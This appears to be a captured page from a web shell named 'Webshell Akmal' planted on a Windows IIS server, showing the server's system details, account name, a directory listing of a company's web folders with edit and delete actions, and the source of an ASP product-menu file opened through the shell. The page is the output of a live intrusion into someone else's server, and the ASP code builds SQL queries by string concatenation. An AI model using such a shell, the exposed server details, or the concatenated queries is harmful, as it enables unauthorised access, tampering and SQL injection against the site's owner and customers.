Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<link rel="stylesheet" type="text/css" href="css/css.css" />
<style type="text/css">
a{
	position:relative;
	text-decoration:none;
	color:#666666;
}
a:hover{
	position:relative;
	text-decoration:underline;
}
</style>
<script type="text/javascript">

var menuids=["suckertree1"]

if (window.addEventListener)
window.addEventListener("load", buildsubmenus, false)
else if (window.attachEvent)
window.attachEvent("onload", buildsubmenus)

</script>
</head>

<div class="suckerdiv">
<ul id="suckertree1">
<h1 style="background-color:#00a0e9;margin:0;font-weight:bold;color:#fff;padding:15px;font-size:24px; z-index:1">Categories</h1>

<%
typeid=Session("typeid")
if Isnumeric(typeid)=false then typeid=0
dds=0
ddcount=0
dim productcount(50)
dim producttype(1000)
Set rs=Server.CreateObject("ADODB.Recordset")
sql="select [id],[CName] from [menu1] where  Cid="&typeid&" order by Sort asc"
rs.Open sql,conn,1,1
do while not rs.eof
ddcount=1
producttype(dds)=rs("id")
dds=dds+1
set rs1=server.CreateObject("adodb.recordset")
sql1="select [id]  from [menu1] where cid="&rs("id")&""
rs1.open sql1,conn,1,1
do while not rs1.eof 
ddcount=2
producttype(dds)=rs1("id")
dds=dds+1
set rs2=server.CreateObject("adodb.recordset")
sql2="select id from menu1 where cid="&rs1("id")&""
rs2.open sql2,conn,1,1
do while not rs2.eof
ddcount=3
producttype(dds)=rs2("id")
dds=dds+1
set rs3=server.CreateObject("adodb.recordset")
sql3="select id from menu1 where cid="&rs2("id")&""
rs3.open sql3,conn,1,1
do while not rs3.eof 
ddcount=4
producttype(dds)=rs3("id")
dds=dds+1
set rs4=server.CreateObject("adodb.recordset")
sql4="select id from menu1 where cid="&rs3("id")&""
rs4.open sql4,conn,1,1
do while not rs4.eof
ddcount=5
producttype(dds)=rs4("id")
dds=dds+1
rs4.movenext
loop
rs3.movenext
loop
rs2.movenext
loop
rs1.movenext
loop

productnumber=0

set rs6=server.CreateObject("adodb.recordset")
sql6="select count(*) as procount from newproductlist where typeid in ("
for i=0 to dds
if i=dds then
sql6=sql6 &"'"&producttype(i)&"')"
else
sql6=sql6 &"'"&producttype(i)&"',"
end if
producttype(i)=0
next
rs6.open sql6,conn,1,1
productnumer=productnumber+rs6("procount")

rs6.close
set rs6=nothing
%>
<li style=" list-style:none; text-align:left"><a href="productlist.asp?typeid=<%=rs("id")%>" ><font style="color:#0033FF; font-family:Verdana, Arial, Helvetica, sans-serif" ><%=rs("CName")%>(<%=productnumer%>)</font></a></li>
<%
rs.movenext
loop
if ddcount>4 then
rs4.close
set rs4=nothing
elseif ddcount>3 then
rs3.close
set rs3=nothing
elseif ddcount>2 then
rs2.close
set rs2=nothing
elseif ddcount>1 then
rs1.close
set rs1=nothing
elseif ddcount>0 then
rs.close
set rs=nothing
end if
conn.Close
set conn=Nothing
%>
</li>
<li style=" list-style:none; text-align:left">
<a href="index.asp?ID=used"><font style="color:#0033FF; font-family:Verdana, Arial, Helvetica, sans-serif" >Special Items</font></a>
</li>
</ul>
</div>

</body>
</html>